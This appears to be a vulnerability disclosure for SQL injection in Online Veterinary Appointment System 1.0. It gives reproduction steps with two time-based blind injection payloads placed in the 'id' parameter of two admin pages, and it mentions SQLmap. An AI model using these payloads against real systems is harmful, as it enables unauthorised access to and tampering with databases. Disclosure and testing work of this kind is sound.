SQL Injection:
=====================================================================================================================================
SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Online Veterinary Appointment System 1.0 is vulnerable to 'Multiple' SQL injections.

=====================================================================================================================================
Attack Vector:
=====================================================================================================================================
An attacker can compromise the database of the application using some automated(or manual) tools like SQLmap.

=====================================================================================================================================
Steps of reproduce:
Step-1: On the dashboard navigate to 'Appointment Requests' page using the following URL:

http://localhost/ovas/admin/?page=appointments

then go to 'Action' > 'View'.

Step-2: Put the SQL Injection payloads in 'id' field.
time-based blind payload : page=appointments/view_details&id=1' AND (SELECT 2197 FROM (SELECT(SLEEP(5)))DZwi) AND 'mQQq'='mQQq

Step-3: Now, the Server target accepted our payload and the response got delayed by 5 seconds.

Put the SQL Injection payloads in 'id' field.
time-based blind payload : /ovas/admin/inquiries/view_details.php?id=1' AND (SELECT 6051 FROM (SELECT(SLEEP(5)))DEds) AND 'SOxP'='SOxP

Step-3: Now, the Server target accepted our payload and the response got delayed by 5 seconds.
